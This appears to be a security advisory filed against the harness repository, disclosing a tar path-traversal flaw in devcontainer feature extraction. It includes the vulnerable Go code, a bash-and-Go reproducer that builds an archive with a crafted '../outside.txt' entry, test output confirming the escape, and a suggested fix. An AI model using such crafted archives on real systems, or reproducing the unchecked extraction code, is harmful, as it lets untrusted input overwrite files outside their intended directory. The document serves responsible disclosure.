#3696·harness

[Security] Devcontainer feature tar extraction can write outside the feature directory

Author: br0x2Created Jun 19, 2026Updated Jun 19, 2026

Devcontainer feature tar extraction can write outside the feature directory

Summary

Drone extracts downloaded devcontainer feature tarballs by joining the extraction root with the archive-controlled tar header name. The extraction helper does not verify that the cleaned target path stays inside the intended feature directory before creating or writing files.

A tar entry such as ../outside.txt is therefore written outside the per-feature extraction directory.

Tested Version

I reproduced this on the current upstream main branch:

Repository: https://github.com/harness/harness
Commit: 34da7995c26b0c14df5c9848376c6263e611a75a
Commit date: 2026-06-19T05:20:14Z
Commit subject: Edit app/services/protection/repo_target.go

The repository currently declares go 1.25.8 in go.mod.

Vulnerable Code Path

app/gitspace/orchestrator/container/embedded_docker_container_orchestrator.go calls the devcontainer feature download path:

go
downloadedFeatures, err := utils.DownloadFeatures(ctx, gitspaceInstanceIdentifier, features)

app/gitspace/orchestrator/utils/download_features.go unpacks each downloaded feature tarball before reading devcontainer-feature.json:

go
dst := filepath.Join(downloadDirectory, featureName)
err := unpackTarball(filepath.Join(downloadDirectory, tarballName), dst)

The vulnerable extraction logic is in unpackTarball():

go
targetPath := filepath.Join(outputDir, header.Name) // nolint:gosec

switch header.Typeflag {
case tar.TypeDir:
	if err := os.MkdirAll(targetPath, os.FileMode(header.Mode)); err != nil {
		return fmt.Errorf("failed to create directory: %w", err)
	}
case tar.TypeReg:
	if err := extractFile(tarReader, targetPath, header.Mode); err != nil {
		return err
	}
}

extractFile() then creates parent directories and writes the file at that computed path:

go
if err := os.MkdirAll(filepath.Dir(targetPath), 0755); err != nil {
	return fmt.Errorf("failed to create parent directories: %w", err)
}

outFile, err := os.Create(targetPath)

There is no root-boundary check between filepath.Join(outputDir, header.Name) and the filesystem write.

Reproduction

The following reproducer uses the real unpackTarball() helper from the current package. It creates a tarball with a normal devcontainer-feature.json entry and a crafted ../outside.txt entry, then checks whether extraction writes outside the feature directory.

bash
set -euo pipefail

workdir="$(mktemp -d)"
trap 'rm -rf "$workdir"' EXIT

git clone https://github.com/harness/harness.git "$workdir/harness"
cd "$workdir/harness"
git checkout 34da7995c26b0c14df5c9848376c6263e611a75a

cat > app/gitspace/orchestrator/utils/download_features_path_traversal_test.go <<'GO'
package utils

import (
	"archive/tar"
	"os"
	"path/filepath"
	"strings"
	"testing"
)

func TestUnpackTarballPathTraversal(t *testing.T) {
	base := t.TempDir()
	outDir := filepath.Join(base, "feature")
	if err := os.MkdirAll(outDir, 0755); err != nil {
		t.Fatal(err)
	}

	tarPath := filepath.Join(base, "feature.tar")
	f, err := os.Create(tarPath)
	if err != nil {
		t.Fatal(err)
	}
	tw := tar.NewWriter(f)

	config := []byte("{}")
	if err := tw.WriteHeader(&tar.Header{Name: "devcontainer-feature.json", Mode: 0644, Size: int64(len(config))}); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(config); err != nil {
		t.Fatal(err)
	}

	body := []byte("DRONE-FEATURE-OUTSIDE\n")
	if err := tw.WriteHeader(&tar.Header{Name: "../outside.txt", Mode: 0644, Size: int64(len(body))}); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(body); err != nil {
		t.Fatal(err)
	}
	if err := tw.Close(); err != nil {
		t.Fatal(err)
	}
	if err := f.Close(); err != nil {
		t.Fatal(err)
	}

	if err := unpackTarball(tarPath, outDir); err != nil {
		t.Fatalf("unpackTarball rejected crafted tar: %v", err)
	}

	escaped := filepath.Join(base, "outside.txt")
	data, err := os.ReadFile(escaped)
	if err != nil {
		t.Fatalf("expected escaped file %s: %v", escaped, err)
	}
	if got := strings.TrimSpace(string(data)); got != "DRONE-FEATURE-OUTSIDE" {
		t.Fatalf("escaped file content = %q", got)
	}

	t.Logf("OUT_DIR=%s", outDir)
	t.Logf("ESCAPED_FILE=%s", escaped)
	t.Logf("ESCAPED_CONTENT=%s", strings.TrimSpace(string(data)))
}
GO

go test ./app/gitspace/orchestrator/utils -run TestUnpackTarballPathTraversal -count=1 -v

Observed output:

=== RUN   TestUnpackTarballPathTraversal
    download_features_path_traversal_test.go:60: OUT_DIR=/tmp/TestUnpackTarballPathTraversal.../001/feature
    download_features_path_traversal_test.go:61: ESCAPED_FILE=/tmp/TestUnpackTarballPathTraversal.../001/outside.txt
    download_features_path_traversal_test.go:62: ESCAPED_CONTENT=DRONE-FEATURE-OUTSIDE
--- PASS: TestUnpackTarballPathTraversal (0.00s)
PASS
ok  	github.com/harness/gitness/app/gitspace/orchestrator/utils	0.020s

ESCAPED_FILE is a sibling of the intended feature extraction directory, not a file inside it.

Expected Behavior

Archive entries should be rejected if their resolved target path escapes the intended extraction root. This should happen before any directory is created, file is opened, content is copied, or permission is changed.

Impact

If Drone processes a malicious devcontainer feature tarball, the archive can create or overwrite files outside that feature's extraction directory, limited by the permissions of the Drone process and the surrounding download workspace.

This can affect files that Drone subsequently reads or uses while resolving and installing devcontainer features. At minimum, it breaks the intended extraction boundary for untrusted feature archives.

Suggested Fix

Normalize and validate each tar entry before writing it. For example:

  • Reject absolute archive paths.
  • Clean the archive path and reject .. components that escape the destination.
  • Compute the destination path and use a separator-aware containment check such as filepath.Rel(outputDir, targetPath).
  • Reject entries where the relative path is .. or starts with ../.
  • Add regression tests for entries such as ../outside.txt, nested/../../outside.txt, and absolute paths.